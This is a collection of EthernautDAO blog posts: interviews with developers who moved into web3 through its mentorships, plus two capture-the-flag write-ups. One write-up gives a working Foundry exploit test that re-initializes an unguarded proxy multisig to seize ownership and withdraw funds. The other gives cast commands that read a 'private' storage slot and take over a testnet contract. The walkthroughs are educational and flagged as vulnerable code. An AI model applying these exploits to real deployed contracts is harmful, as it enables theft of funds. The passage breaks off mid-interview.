Donate and get one of these NTFs here!

What did you do before getting into web3?

Before getting into web3, I worked as a full-stack developer at an advertising company. A digital consultancy, to be precise. My stack there mainly consisted of Vue, Node.js & Express, AWS, and Docker. On occasion, I would also use PHP/Laravel, Go, and TypeScript. But I was primarily a JS dev. My boss, there was really great and taught me tons of things. I wouldn't be here now without him. That was the only job I had between graduation from university and working now at Yield Protocol. In university, I was big into infosec and had a slight stint doing memory forensics research for the cybersecurity lab there before the university was shut down due to COVID. I was unable to find a job in the field and went into full-stack.

What were the first things you did in web3?

I got into "crypto" in January 2018 but that was only from a trading perspective. It wasn't really until August 2021 that I began to explore the dev side where I was contracted to build front ends for some NFT projects. That was my introduction and that was what initially triggered my interest in web3. The work I was doing was a lot more fun and rewarding (and profitable also) than what I was doing at my day job. I didn't want to quit my job there yet because I still felt unprepared to set out on my own. I wanted to learn some more first.

When and how did you start to think about quitting your web2 job?

While the NFT projects I was working on were cool, I didn't want to quit my job then. At the end of the year, I decided I would spend 2022 diving much deeper into the dev space. And that was exactly what I did. I got pretty involved in crypto Twitter and quickly came across the bigger dev accounts like Georgios and t11s. Georgios was tweeting a lot about Foundry at the time and I thought it seemed really cool and a good way to embed myself would be learning about it. That was sort of my start, learning about Foundry and getting into the "Foundry circle" on Twitter. I joined the Telegram group, read some blog posts people wrote about it and contributed to the docs. Just small things like that at first. I was retweeting Georgios a lot at the time and one afternoon while working he spontaneously dm's me and asks me what I'm working on. I was pretty blown away. I couldn't believe it wasn't a bot. I had to tell him I wasn't primarily a crypto dev yet and was still trying to break in. I remember doing a YouTube search shortly thereafter on his name and I found this code review he and Dan Robinson did with Alberto, our lead dev at Yield. That was how I first learned of Yield Protocol. About a month later, this Twitter user, Deor, makes a Discord server for crypto devs and I join it. One of the members there was devtooligan who also did a mentorship with Ethernaut and works at Yield. He had posted there sometime later that Yield would be starting another mentorship session soon. I knew that Yield was pretty small but had very talented devs and some strong backing. I had already applied to some positions previously but didn't get hired. There was something about Yield that really struck me. Before getting my CS degree I was actually an Econ major for a time and was really into that and finance and such. So I was always more interested in DeFi than NFTs, for better or worse. With Yield, I felt like that was the golden opportunity I was looking for. At the same time, my work at my regular job was becoming pretty sluggish. My boss was becoming a lot busier and so I couldn't glean as much insight from him anymore. My position there just wound up becoming increasingly untenable. I disliked an environment where I'm not constantly growing and learning new things. I still didn't feel quite prepared, but the Yield mentorship combined with my work environment was what triggered the realization that it was time for me to make the switch.

How did you hear about EthernautDAO?

I believe I first heard about it in a comment dcbuilder made on Twitter. I joined the Discord server back then but wasn't active at all until the Yield mentorship.

Have you applied for a mentorship?

Yes, I applied for the Yield mentorship in the Ethernaut Discord immediately as it was made available. Interesting story behind that. I had actually messaged devtooligan right after he posted about it telling him I really wanted it and would do whatever it took to get it. And we both simultaneously came to the conclusion that I could start making small open-source contributions to Yield being that I had virtually no previous experience as a smart contract developer. And that was what I did. Fortunately, there were some pretty small issues that I was able to open PR's for. Yield wanted to switch the testing suite they used for vault-v2 to Foundry which as it turned out I was perfectly suited for and that was my first major contribution to Yield. So by the time the mentorship rolled around, I had already "front-run" much of the competition so to speak. It also didn't hurt that I was an experienced dev (albeit somewhat junior) with an active GitHub either. So when Yield announced the six mentees they chose, I was one of them.

How did it feel? Did you work and get mentored at the same time?

Yes. The way the mentorship worked is we had ten assignments of increasing complexity which we built. The first was a small name registry and they grew in complexity to include things like an EIP-4626 compliant tokenized vault to a flash loan server and an AMM. But several of the mentees would be given small tasks to work on for Yield at the same time. I don't think any of us actually finished all ten of them before we started working on other things. I would work on converting some of the Foundry tests between doing some of the mentorship assignments. Eventually, I was given a task to build an integration with another protocol and from then on I didn't focus on the mentorship anymore.

If you have transitioned to web3 full-time, how different is it from your previous career?

It's enormously different. I don't have to spend over an hour a day driving to and from work anymore when I can just work remotely is one thing I'm personally very happy about. But the main thing that appeals to me is the people and the culture. Yield is very laid back but all the devs are also top-notch and always learning something or ready to help you learn something and I find that to be a very productive environment. That's what I like about it most. I've tried to study some of the work habits of other protocols and I'm actually a bit shocked that I haven't found one that I prefer more to Yield's. Our GitHub is very organized. We respond to issues and PR's in a timely manner. We're always designing new patterns to use for our codebase. Integrating with new protocols. Implementing new technologies into our stack like Foundry. Anyone can ask questions or make suggestions and have them considered. It's a really great environment. I really love getting to work with Alberto who I believe is one of the very best devs in the space. I've been working for Yield exclusively since May and in that time, he's taught me an enormous amount yet I still feel like I've barely scratched the surface. And devooligan is constantly learning and growing. From smart contract security to now Huff, he digests new things at a dizzying pace I struggle to keep up with though I continue to try nonetheless. But to sum up very good culture, and a very good team. I couldn't ask for anything more. I'm not sure there's anything else I'd rather be doing right now than working at Yield.

What advice would you give to web3-curious devs?

The best advice I think is to do what I did and hop in. Just embed yourself with the community. There are tons of genius devs in the space to learn from. All you really have to do is find them and put in the time. And all the code is open source so if you want to contribute or learn how something works, you can literally just do that. And if you have questions you can just go to Discord or dm the devs on Twitter and just ask. You can't do that for any other community. You just have to hang out and learn for a while before you set out on your own and decide what you want to do. It's important to make friends and learn. I mention a lot of people above (Georgios, Alberto, devtooligan, Deor, dcbuilder) all of whom had some contribution, small or large, to getting me where I am now and that is a large part of the success I've had and how I got started at Yield.

Follow Sabnock on Twitter:

https://twitter.com/Sabnock66

EthernautDAO offers free mentorships to experienced web2 devs trying to break into web3. If you like this idea, check out the available mentorships in the EthernautDAO Discord and follow us on Twitter to get notified when a new mentorship is available.

ΞthernautDAO is common goods DAO aimed at transforming developers into Ethereum developers.

Author:

https://twitter.com/StErMi

They started releasing CTF challenges on Twitter, so how couldn’t I start solving them?

CTF 2: Wallet

The challenge starts with this Tweet:

https://twitter.com/EthernautDAO/status/1546101932040790016?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1546101932040790016%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fcdn.embedly.com%2Fwidgets%2Fmedia.html%3Ftype%3Dtext2Fhtmlkey%3Da19fcc184b9711e1b4764040d3dc5c07schema%3Dtwitterurl%3Dhttps3A%2F%2Ftwitter.com%2Fethernautdao%2Fstatus%2F1546101932040790016image%3Dhttps3A%2F%2Fi.embed.ly%2F1%2Fimage3Furl3Dhttps253A252F252Fabs.twimg.com252Ferrors252Flogo46x38.png26key3Da19fcc184b9711e1b4764040d3dc5c07

For this challenge, we have two different smart contracts to review:

WalletLibrary: A multisig wallet library

Only deployed once, proxy contracts execute the functions via delegatecall Owners can:

• Submit a transaction

• Approve and revoke approval of pending transactions

• Anyone can execute a transaction after enough owners approved it

Wallet: A lightweight multisig wallet contract

Calls will be delegated to the wallet library contract Owners can:

• Submit a transaction

• Approve and revoke approval of pending transactions

• Anyone can execute a transaction after enough owners approved it

At the moment of deployment, the Wallet the contract has three different owners and numConfirmationsRequired is equal to two. This means that to execute a transaction from the wallet, at least two owners have to approve that transaction.

Our goal is to be able to add ourselves to the list of owners and execute a transaction.

Study the contracts

Let’s review the logic of the contracts. The Wallet contract is a lightweight multisig wallet contract. When the users interact with it, two things can happen:

1. If someone (anyone) sends some funds to it, the receive function will be triggered and those ethers will be stored in the contract's balance 2) Anything else, any function call, will be handled by the fallback function. This special function will forward the call to the implementation contract via delegatecall.

In practice, Wallet is just an implementation of the OpenZeppelin Proxy contract with some modification to automatically call the initWallet function on the implementation contract.

One thing that is important to always check is that the storage layout of the proxy and implementation will match. Because the implementation (WalletLibrary) will execute the logic code on the proxy's layout (Wallet) it's fundamental that they have the same storage layout. Otherwise, the implementation will read and write from the wrong variables!

I think that before anything we should understand two things 2. Why do we need Proxy Pattern, and what is it? 2) How delegatecall works and how it's used in the Proxy Pattern

Proxy Pattern

I think that anyone here knows that when you have deployed a Contract in the blockchain, you cannot override its code, right?

You can’t do what you usually do in the web2 worlds where if you find a bug, or you want to add a new feature you just write down the code, create some tests and then deploy it in production.

You can’t do that with the current Ethereum implementation. So, what if I would like to fix a bug in my code, or I would like to add a new feature?

The answer is the Proxy Pattern. The basic idea is this:

1. The proxy will store the address of the implementation and the storage of the contract

2. Any call to the contract itself will not directly interact with the contract, but will be forwarded via delegatecall to the implementation contract

3. The implementation contract contains all the implementation logic that will modify the proxy state variables

4. If you find a bug in the implementation, or you want to add a new feature, you just need to update the code of the implementation, deploy the new contract and update the address of the implementation contract that you have stored in the Proxy contract. Now all the calls to the proxy will be forwarded to the new implementation!

Now things are much more complicated than this and there are tons of security concerns that you must be aware of. I highly suggest you read some articles online and watch some videos made by Tincho Abbate because he explains this concept very, very well. When things get complicated like this, it is easy to make some mistakes!

So, we now have some basic knowledge about the proxy pattern but as we understood everything is based on the concept of delegatecall. How does it work?

delegatecall

delegatecall is a special opcode from EVM. Let's learn more about it from the Solidity Documentation:

The code at the target address is executed in the context (i.e. at the address) of the calling contract and msg.sender and msg.value do not change their values. This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address.

What does it mean? Let’s use our contract as an example. When you try to execute initWallet on the Wallet contract, solidity will not find that function inside the code and will execute the fallback function. The fallback function will execute delegatecall toward the WalletLibrary contract, forwarding the whole operation.

This means that the code that is executed is inside WalletLibrary but the context used is the one from the Wallet contract. By this, I mean that msg.sender, msg.value and the storage is the one from the Wallet call.

Basically, it’s like if WalletLibrary will execute its code but on the Wallet contract. Any to a state variable be read and write on the Wallet storage!

The flow

Now that we know the basics of proxy and delegate calls, we can start reviewing the code and understand how it works.

When the Wallet contract is deployed, the constructor is executed

constructor(
    address _walletLibrary,
    address[] memory _owners,
    uint256 _numConfirmationsRequired
) {
    walletLibrary = _walletLibrary;    (bool success, ) = _walletLibrary.delegatecall(
        abi.encodeWithSignature("initWallet(address[],uint256)", _owners, _numConfirmationsRequired)
    );    require(success, "initWallet failed");
}

it sets up the walletLibrary address (the implementation of the contract), and will call initWallet on the walletLibrary via delegatecall. After that, it will check if the operation has been executed successfully; otherwise, it will revert.

After the initialization, owners will be able to use the multisig wallet by executing these functions:

• submitTransaction to propose a transaction

• confirmTransaction to confirm a proposed transaction. At least numConfirmationsRequired confirmations are needed to be able to execute the transaction

• revokeConfirmation to revoke a confirmation to a transaction

• executeTransaction to execute a transaction that has at least numConfirmationsRequired confirmations

initWallet function

Let’s review how the Wallet contract is set up by the initWallet function

function initWallet(address[] memory _owners, uint256 _numConfirmationsRequired) public {
    // console.log("initWallet", _numConfirmationsRequired);    require(_owners.length > 0, "owners required");
    require(
        _numConfirmationsRequired > 0 && _numConfirmationsRequired <= _owners.length,
        "invalid number of confirmations"
    );    for (uint256 i = 0; i < _owners.length; i++) {
        address owner = _owners[i];        require(owner != address(0), "invalid owner");
        require(!isOwner[owner], "owner not unique");        isOwner[owner] = true;
        owners.push(owner);
    }    numConfirmationsRequired = _numConfirmationsRequired;
}

The code will

• check that at least one owner for the wallet is provided

• the _numConfirmationsRequired required to confirm a transaction is lower or equal to the number of _owners provided otherwise the logic would stop working. You would not be able to execute a transaction if the number of confirmations needed is higher than the number of addresses that can confirm

• check that each owner is not the address(0) and that they are unique

• set up the onwers array and the isOwner mapping

From a logical point, I see that there’s already a problem. There’s no way to revoke an existing owner from the list of addresses that can interact with the wallet. What if one of the owners gets compromised or is a bad actor from the start? There is no way to revoke his/her access to the wallet!

Apart from that, do you see the huge security problem? Usually, in a proxy contract, you want to have a guard variable that prevents anyone from calling again the initialization function. In this function, there is no guard at all. What are the consequences of this flaw?

Well, anyone could call again and again wallet.initWallet that will call via delegatecall walletLibrary.initWallet that will write in the Wallet storage passing arbitrary values.

This means not only that I would be able to add my own address in the list of the owners but also that I'm able to override the numConfirmationsRequired variable and setting it to one.

This means that in just one single transaction I’m able to

• add me to the list of the owners

• set numConfirmationsRequired to 1 so only one confirmation is needed to execute a transaction

• create a transaction to transfer the wallet ETH funds (or transfer ERC20/ERC1155/ERC721 tokens)

• confirm it

• execute it

Let’s see how it is possible in the solution part.

Solution code

Now what we have to do is:

• Create an Alchemy or Infura account to be able to fork the Goerli blockchain

• Choose a good block from which we can create a fork. Any block after the creation of the contract will be good

• Run a foundry test that will use the fork to execute the test

Here’s the code that I used for the test:

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.13;import "./utils/BaseTest.sol";
import "src/Wallet.sol";
import "src/WalletLibrary.sol";contract WalletTest is BaseTest {
    Wallet private wallet;
    WalletLibrary private walletLibrary;    constructor() {
        string[] memory userLabels = new stringUnsupported embed;
        userLabels[0] = "Alice";
        userLabels[1] = "Bob";
        preSetUp(2, 100 ether, userLabels);
    }    function setUp() public override {
        // Call the BaseTest setUp() function that will also create testsing accounts
        super.setUp();        // Attach the contract to the addresses on the fork
        wallet = Wallet(payable(0x19c80e4Ec00fAAA6Ca3B41B17B75f7b0F4D64CB7));
        walletLibrary = WalletLibrary(payable(0x43FF315d0003365fe1246344115A3142b9EBfe0b));        vm.label(address(wallet), "Wallet");
        vm.label(address(walletLibrary), "WalletLibrary");        // We are funding the Wallet contract with 1 wei just to test the transaction that will allow us to withdraw from it!
        vm.deal(address(wallet), 1);
    }    function testTakeOwnership() public {
        address player = users[0];
        vm.startPrank(player);        // prepare the attack
        address[] memory owners = new addressUnsupported embed;
        owners[0] = player;        // call the `wallet.fallback` function passing the correct data to make it make a
        // delegatecall to walletLibrary that will execute initWallet on Wallet's context
        // initWallet should be protected by a flag that check if the contract has been initialized or not
        // like require(owners.length == 0)
        // by doing so we have been added to the list of owners
        // but we can execute any transaction we want because we have lowered the amount of needed confirmation request
        // required to only 1
        (bool success, ) = address(wallet).call(abi.encodeWithSignature("initWallet(address[],uint256)", owners, 1));        assertEq(success, true);
        assertEq(wallet.numConfirmationsRequired(), 1);
        assertEq(wallet.owners(3), player);        // Now I'm one of the owners and because numConfirmationsRequired = 1 I can execute tx
        // Let's create a transaction.
        (success, ) = address(wallet).call(
            abi.encodeWithSignature("submitTransaction(address,uint256,bytes)", player, 1, "")
        );
        assertEq(success, true);        // Confirm the transaction we just created
        // At the moment of the creation of our transaction the transaction array was empty
        // So our txIndex is 0
        uint256 txIndex = 0;
        (success, ) = address(wallet).call(abi.encodeWithSignature("confirmTransaction(uint256)", txIndex));
        assertEq(success, true);        // Execute the transaction
        uint256 playerBalanceBefore = player.balance;
        (success, ) = address(wallet).call(abi.encodeWithSignature("executeTransaction(uint256)", txIndex));
        assertEq(success, true);        // Assert that we have received 1 wei from the Wallet contract
        assertEq(playerBalanceBefore + 1, player.balance);        vm.stopPrank();
    }
}

Here is the command I have used to run the test: forge test --match-contract WalletTest --fork-url <your_rpc_url> --fork-block-number 7178864 -vv

Just remember to replace <your_rpc_url> with the RPC URL, you got from Alchery or Infura.

You can read the full solution to the challenge, by opening Wallet.t.sol

Further reading

• Solidity Docs: fallback function

• solidity-by-example: fallback function

• Solidity Docs: Delegatecall / Callcode and Libraries

• SWC-112: Delegatecall to Untrusted Callee

• Sigma Prime, Solidity Security: Comprehensive list of known attack vectors and common anti-patterns: delegatecall

• OpenZeppelin Proxy

Disclaimer

All Solidity code, practices, and patterns in this repository are DAMN VULNERABLE and for educational purposes only.

I do not give any warranties and will not be liable for any loss incurred through any use of this codebase.

DO NOT USE IT IN PRODUCTION.

Author: Giovannidisiena.eth

https://twitter.com/giovannidisiena

Also, follow Stermi.eth for another good explanation:

https://twitter.com/StErMi

Reading Private Data

If you have some familiarity with Solidity smart contracts then you will have come across state variable visibility – public, internal, and private. Although it sounds counter to what you might expect, the key takeaway from this challenge is that anyone can read the value stored in a private variable.

Repeat after me:

private variables aren’t private

This keyword refers only to the ability of an external contract to access the variable, while to Shadowy Super Coders th

e value is accessible via inspecting the contract storage layout and reading the corresponding slot directly.

To pull off the hack we are going to be using Foundry (big up Georgios & Co). If you don’t already have it installed then go ahead and run curl -L https://foundry.paradigm.xyz | bash before running foundryup in a new session. Additional documentation is available in the official repo and book.

We will first create a new directory and initialize a new Forge project like so:

mkdir private-data && cd $_ && forge init

Go ahead and copy the contract code to PrivateData.sol. We’ll need this to inspect the contract storage layout (and if you wanted to run tests against a local fork using anvil).

The easiest method for inspecting the storage layout really is as simple as:

forge inspect PrivateData storage —pretty

From this, we can see that the variable secretKey corresponds to storage slot 8.

To arrive at the same result without the power of Forge, you would need to apply storage layout rules manually, understanding that the EVM stores state variables in 32-byte slots and performs slot packing, such that these variables get stored in a single slot, if successive declarations sum to no more than 32 bytes:

• NUM is inlined to contract bytecode at compile time since it is a constant variable

• owner is of address type, which is 20 bytes, and occupies storage slot 0

• randomData is a constant-size array of bytes32 and occupies 160 bytes, from storage slot 1 to slot 5

• addressToKeys mapping has an unpredictable size, so the elements it contains are stored starting at a different storage slot that is computed using a keccak hash which is stored at storage slot 6

• a and b are both of type uint128 which together pack to 32 bytes and as such both occupy slot 7

• secretHash therefore occupies storage slot 8

Regardless of which method you choose, once you have the desired storage slot it is again as simple as running the following command to read the value stored:

cast storage 0x620E0c88E0f8F36bCC06736138bDEd99B6401192 8 --rpc-url https://eth-goerli.g.alchemy.com/v2/${ALCHEMY_GOERLI_ID}

And there it is! We have the secret key.

Now to take ownership of the contract, send a transaction with:

cast send 0x620E0c88E0f8F36bCC06736138bDEd99B6401192 --rpc-url https://eth-goerli.g.alchemy.com/v2/${ALCHEMY_GOERLI_ID} --private-key ${PRIVATE_KEY} "takeOwnership(uint256)()" 0x43223b17c0688af05eea8efbd2b6c424174874f5945a09fce2e3fa1afb6984b7

And view the current owner with:

cast call 0x620E0c88E0f8F36bCC06736138bDEd99B6401192 --rpc-url https://eth-goerli.g.alchemy.com/v2/${ALCHEMY_GOERLI_ID} "owner()(address)”

Of course, you could also use our newfound superpower and read the storage slot 0 directly.

As a quick aside, it is important to note that you should not rely on block data for randomness, as explained here and rndString is visible on Etherscan as a decoded constructor argument.

A slightly improved solution could be storing the keccak hash of the secret key in a commit-reveal type fashion, so as not to expose the key itself, and validating input against this; however, it is still of course flawed in that the correct key will become visible to everyone once someone crafts a successful transaction.

I hope that was helpful – happy hacking!

Donate and get one of these NTFs here!

What did you do before getting into web3?

Starting in college, my goal was to become a doctor. I spent almost my entire undergrad preparing for medical school until my senior year when I decided on a whim to take an Intro to Java course that forced me to revaluate many decisions concerning my career and life aspirations.

I decided to pick up a second major in Computer Science and I ended up enjoying it enough to forget about medical school altogether. Following that decision, I landed a job as a full-stack dev at Tyler Technologies working on state and local government-related web and mobile apps. I was fortunate that my first job gave me the opportunity to work on a wide variety of projects providing plenty of experience with new languages and tech stacks that I still use today in Web3.

What were the first things you did in web3?

The very first thing I did was read Bitcoin and Cryptocurrency Technologies: A Comprehensive Introduction. I was interested in investing in crypto but felt I didn't understand it enough to do so safely. I decided to read that book to understand the basics and ended up falling in love with the technology. I then spent a lot of time learning via tutorials on Udemy, CryptoZombies, and other excellent resources and once I got some confidence, a friend and I started a project which was a 1v1 gambling dApp that used Chainlink for verifiable randomness. That ended up not going anywhere, but it helped me land a few interviews for Web3 positions, including one at Kwenta. The project also helped my friend get his first job as a full-stack dev in Web2, so I consider that project successful despite it never being used.

When and how did you start to think about quitting your web2 job?

One day after work, I was having a conversation with my partner about our future plans and I realized that my then-current job would not be supportive of the life we wanted. I knew that entering the job market would be tough. I didn't want to end up somewhere that I hated, so I made a list of things that I was passionate about that I could prioritize when applying to companies. I have always enjoyed learning about finance and began investing on Etrade when I was in the seventh grade with the money I'd made from cutting grass and walking dogs. I'm also an engineer and deeply enjoy the process of building software. Doing something in the future that would allow me to combine both of those passions was my ultimate goal and that is when I realized Web3 (specifically DeFi) would be the perfect place for me.

How did you hear about EthernautDAO?

I first heard about the EthernautDAO on Twitter. I didn't dig too deeply into it at the time, but much later a friend reached out to me. He explained about these mentorships and that I should apply to be a mentee. I learned that it would be paid and that the mentorship often led to full-time job offers, so it was a perfect opportunity.

Have you applied for a mentorship?

Yes! I was chosen by @_jchiaramonte to be his mentee.

How did it feel? Did you work and get mentored at the same time?

It felt amazing. I had been working hard for a long time trying to break into web3 and I knew the mentorship was going to be the final key to getting in full-time. It was difficult because I was still working during my mentorship, but spending my weeknights and weekends working was well worth it.

If you have transitioned to web3 full time, how different is it from your previous career?

So far, I have worked at Crypto.com and Kwenta. The biggest difference in my experience has been responsibility. Both jobs expected much more from me in terms of leadership and code quality. The nature of Web3 is unforgiving when it comes to mistakes and that translates to engineers needing to be much more disciplined and security conscious. The second biggest difference is the sense of belonging to a team/protocol/project that values and rewards the best opinions and ideas received from the community. I am currently reading Principles by Ray Dalio and his description of an "Idea Meritocracy" is a pretty good depiction of how DAO's I have interacted with operate.

What advice would you give to web3-curious devs?

Depending on where you are in your career, my advice differs. I think that if you are just starting to dive into software development, Web3 might be a little overwhelming. If Web3 is your end goal, skills picked up in Web2 will be valuable once you make that transition. Focusing on improving fundamentals will pay the biggest dividends. If you are a little more experienced and you are seriously considering transitioning, the best advice I can give is to consume as much Web3 content as you can. That might be youtube videos, Udemy courses, podcasts, books, etc. I am also a big fan of hackathons, but I realize they're not always the best option for everyone. Finally, I would recommend taking a deep dive into one or two protocols you enjoy. I was really interested in Uniswap and spent quite a bit of time looking at their smart contracts. Many famous authors have said one of the best ways to improve your own writing is to read more. The same goes for coding. Once you know that Web3 is for you, applying for an EthernautDAO mentorship is a fantastic choice. As I and others have proven, this can be done all while still working in Web2.

Follow Wasp on Twitter:

https://twitter.com/Jared_Borders

EthernautDAO offers free mentorships to experienced web2 devs trying to break into web3. If this sounds like you, check out the available mentorships in the EthernautDAO Discord and follow us on Twitter to get notified when a new mentorship is available.

Donate and get one of these NTFs here!

What did you do before getting into web3?

I was obsessed with entrepreneurship, created many tech startups (all failed), also was organizing events for entrepreneurs, taught formally entrepreneurship in a college, and even had my own startup incubator. 

What were the first things you did in web3?

I did a lot of simple projects to get to know web3 better, I participated in tons of hackathons, virtual and physical, and started my own web3 startup named affogato, doing coffee-related products with web3. I hacked some tools related to coffee farmers, like collateralized loans using coffee as collateral, a splitter contract for tipping farmers, some DAO tooling, and I think one of my last was a push notification protocol, way before EPNS existed.

When and how did you start to think about quitting your web2 job?

I felt an immediate connection with web3, I quit my jobs and started focusing on web3 full-time, the only issue was that it was the start of the bear market, it was really hard, not because I lost money or anything, but because it was impossible to get a job or raise funds. I remember getting interviews or being ignored on email chains and it's funny because, after covid + bull, some people started pinging on those old years’ mails to see if I was still interested

I managed to survive by doing contractor work, winning hackathons, and some grants from ConsenSys. In the end, was all worth it. I now work full-time for Cryptex Finance DAO.

How did you hear about EthernautDAO?

A good way to learn is to follow good developers on Twitter, by following some I found out about EthernautDAO when it was in the creation stage. A few to follow are @gakonst @transmissions11 @bantg

Did you post a mentorship? How did it feel?

I did, and it felt really good seeing so many good and talented candidates. Actually, wish to have more time to pick more candidates.

If you have transitioned to web3 full time, how different is it from your previous career?

Really different, the community is an important part, virtual relationships are a blast, I can breathe and I don’t have to waste time on the commute. I also, travel a lot to events to compensate for the lack of physical interactions. If you want to work for a DAO you can just enter their discord and start collaboration it’s that simple.

What advice would you give to web3-curious devs?

Give it a try, will change your life. Go to a lot of hackathons, hone your skills and learn from the bests. Of course, getting a mentor will give you an advantage as you won’t have to do it all by trial and error.

Follow Crisgarner on Twitter: @crisgarner

EthernautDAO offers free mentorships to experienced web2 devs trying to break into web3. If this sounds like you, check out the available mentorships in the EthernautDAO Discord and follow us on Twitter to get notified when a new mentorship is available.

Donate and get one of these NTFs!

https://mint.ethernautdao.io/

What did you do before getting into web3?

For the past 5 years, I was working in a web 2.0 company as a technology lead & PM. Before that, I had my own startup and worked on games.

What were the first things you did in web3?

For me, it started with learning about smart contracts. CryptoZombies was my first hands-on experience. After this, I participated in the ETHGlobal Web3 Weekend hackathon. The first experience was really amazing, the way the community extended itself to help out a newbie like me was really amazing. After that there was no turning back, I participated in multiple hackathons, contributed to a couple of projects, and finally landed a Yield mentorship through EthernautDAO.

When and how did you start to think about quitting your web2 job?

Once I got to understand more about web3 and the new possibilities that it opens up I started looking out for how to make a leap into this industry. I believe that web3 has opened up a new way of coordination that would enable a lot of things that were not possible before. The industry is going through a monetization phase because of which I wanted to work on something that would eventually become a building block for the industry.

How did you hear about EthernautDAO?

I got to learn about EthernautDAO through my brother. He knew that I was looking to make a leap and pointed me to the tweet.

Have you applied for a mentorship? How did it feel?

I did apply for the mentorship with Alberto. It was tough summarising my work-life till now & make a strong case. Seeing the other candidates I didn’t expect to get through. So, I started applying for other mentorship options as well. I did hope to get in with Alberto as I had seen the work he had done & it made me want to work with him.

Did you work and get mentored at the same time?

I was working full-time in my last role while getting mentored. It was challenging in the beginning as I had to change my mindset. I was coding for a long time and earlier I used to focus more on getting the job done and not necessarily on the aesthetics of the code. Thankfully Alberto was really patient and got me through it.

If you have transitioned to web3 full time, how different is it from your previous career?

There is a huge difference. As a smart contract developer, you have to be responsible for the development, testing & deployment. Inefficient smart contract code literally costs money. So you have to be meticulous about each line you write. It’s really adversarial once a smart contract is deployed so you have to always think about how the code could be exploited by malicious actors which was not always the case in my previous role. I am also really excited about what we are trying to build as an industry. What we are building might end up being the foundation on which economies might end up running. Apart from this, I would say I am really happy about the people I get to work with within this industry. They are not only helpful & encouraging but always push the bar of quality & output.

What advice would you give to web3-curious devs?

Get your hands dirty as quickly as possible. Try to do a complete cycle of development, testing & deployment at least once to get a taste of what it is going to look like. Testing might feel tedious in the beginning however, you will sleep well when you have a thoroughly tested smart contract. Participate in hackathons to get yourself familiar with the things being built out there.

And special thanks to Ethernauts as well for starting EthernautDAO, I would be eternally grateful for this.

EthernautDAO offers free mentorships to experienced web2 devs trying to break into web3. If this sounds like you, check out the available mentorships in the EthernautDAO Discord and follow us on Twitter to get notified when a new mentorship is available.

https://mint.ethernautdao.io/

What did you do before getting into web3?

Before getting into web3, I worked as a full-stack developer for over 10 years. I built web apps and backend services for large corporations. Standard web2 stuff.

What were the first things you did in web3?

One of the first things I did in web3 was work on a limit order app at the beginning of 2021. A good friend of mine, who was already in web3, introduced me to the team he was working with as they were looking for devs to help. The app was a good learning experience for me as the work was full-stack, so I got a lot of exposure to new concepts and tools. It also showed me how much I needed to learn and how deep the web3 rabbit hole went.

When and how did you start to think about quitting your web2 job?

I had lost interest in the work I was doing & working in a corporate environment, so I was already thinking about quitting. What really pushed me to leave was the book Mastering Ethereum. The book did an excellent job of explaining fundamental concepts and chapter 1 actually got me excited about software development again. After reading it, I felt obliged to get skilled and join the devs that were building on Ethereum. I couldn’t even imagine staying in my web2 job any longer.

How did you hear about EthernautDAO?

I saw the tweet from Ale calling for experienced devs looking to make the jump. I DM’d him straight away then he sent me the link to join the discord shortly after.

Have you applied for a mentorship? How did it feel?

After joining the discord, I applied for two mentorships and got picked for one. I honestly didn’t think I would’ve been chosen as I didn’t have much experience, and so many other devs were applying.

Did you work and get mentored at the same time?

I was still working full-time when the mentorship started. I spent my days working my web2 job and my evenings doing the work for the mentorship whilst studying. It was definitely challenging, but I was motivated to leave my web2 job and transition to web3 development. This really gave me the energy to persist.

If you have transitioned to web3 full time, how different is it from your previous career?

Working in web3 is entirely different from my previous career. A significant difference I’ve seen is the enthusiasm for what we’re building. Most of the people I work with now are genuinely interested in what we’re building and the team’s overall vision. This makes a huge difference in the team morale and the quality of work produced. I rarely felt this with teams I had worked with before.

What made you decide to become a mentor?

I feel like I learned a lot from the resources and other devs in the EthernautDAO, so I became a mentor because I wanted to give something back. There are a lot of good experienced web2 developers there looking for mentorship and guidance on their journey into web3, but nowhere near enough mentors available to help them. I was in this position recently, so I know what it was like. I’m not an OG, but I have learned enough to support and guide other devs starting their journey.

What advice would you give to web3-curious devs?

First, join the EthernautDAO. It’s an excellent gateway to web3 development. You’ll find valuable resources and helpful people who can assist you on your journey. Second, never stop learning. One of the most important things a developer can do is build a continuous learning mindset. This is even more important in web3 development with the constant innovations and relentless hacks. Figure out the path you want to go down, then identify what you need to learn for the journey and try to create yourself a study guide. Third, ABC (always be coding). The more code you write, the better you’ll get at it (hopefully 😅). Get familiar with the language and libraries you’ll use by regularly practicing. Get comfortable reading code, check out the repositories of your favorite projects and see how they work under the hood.

Follow Bayological on Twitter: @bayological

EthernautDAO offers free mentorships to experienced web2 devs trying to break into web3. If this sounds like you, check out the available mentorships in the EthernautDAO Discord and follow us on Twitter to get notified when a new mentorship is available.

https://mint.ethernautdao.io/

What did you do before getting into web3?

I was a full stack web2 developer (React/Django) for over 5 years. Before that, I had various non-dev roles in FinTech, and before that, I was a TradFi analyst.

What were the first things you did in web3?

I did a hackathon in 2016. I only worked on the front end, but it was cool and my first intro to the web3 community. Around that time I also worked through CryptoZombies. I didn’t do much with web3 for the next 3–4 years because I was focused on leveling up in my web2 job. Then around the beginning of 2021, I started doing some web3 tutorials again.

When and how did you start to think about quitting your web2 job?

It was August 2021, and I was so burnt out on my web2 job. **I knew I wanted a switch but I didn’t think I could get a job in web3 **because I did not have the requisite skills. I was interviewing for other web2 jobs but my heart wasn’t in it.

How did you hear about EthernautDAO?

I saw this:

https://twitter.com/the_ethernaut/status/1411817693959831553?s=20&t=evlsfvhm0aB7mVFRxSoSXQ

and responded to it. I dm’d him and he directed me to EthernautDAO discord.

Have you applied for a mentorship? How did it feel?

I was intimidated by all the other candidates applying for the Yield mentorship. I felt I was one of the weakest. I tried really hard to make my 1 paragraph description look good and stand out from the rest, emphasizing my non-web3 strengths. I was a little surprised I was chosen for an interview, but even more nervous. How was I going to master Solidity within 1 week before my interview? Fast forward a week and I hadn’t even looked at Solidity once.

My interview was at 8:30 am and there was an all-hands emergency at my current job that just happened. I was getting over a nasty cold and feeling stressed and miserable. At 8:25 am I decided I would not interview. I was sure they wouldn’t choose me because my web3 skills were so poor. I didn’t want to waste my time. At 8:29 am I changed my mind and decided to go through with it. I remember taking a deep breath and thinking to myself, “Just give it your best shot, that’s all you can do.” That decision changed my life.

Did you work and get mentored at the same time?

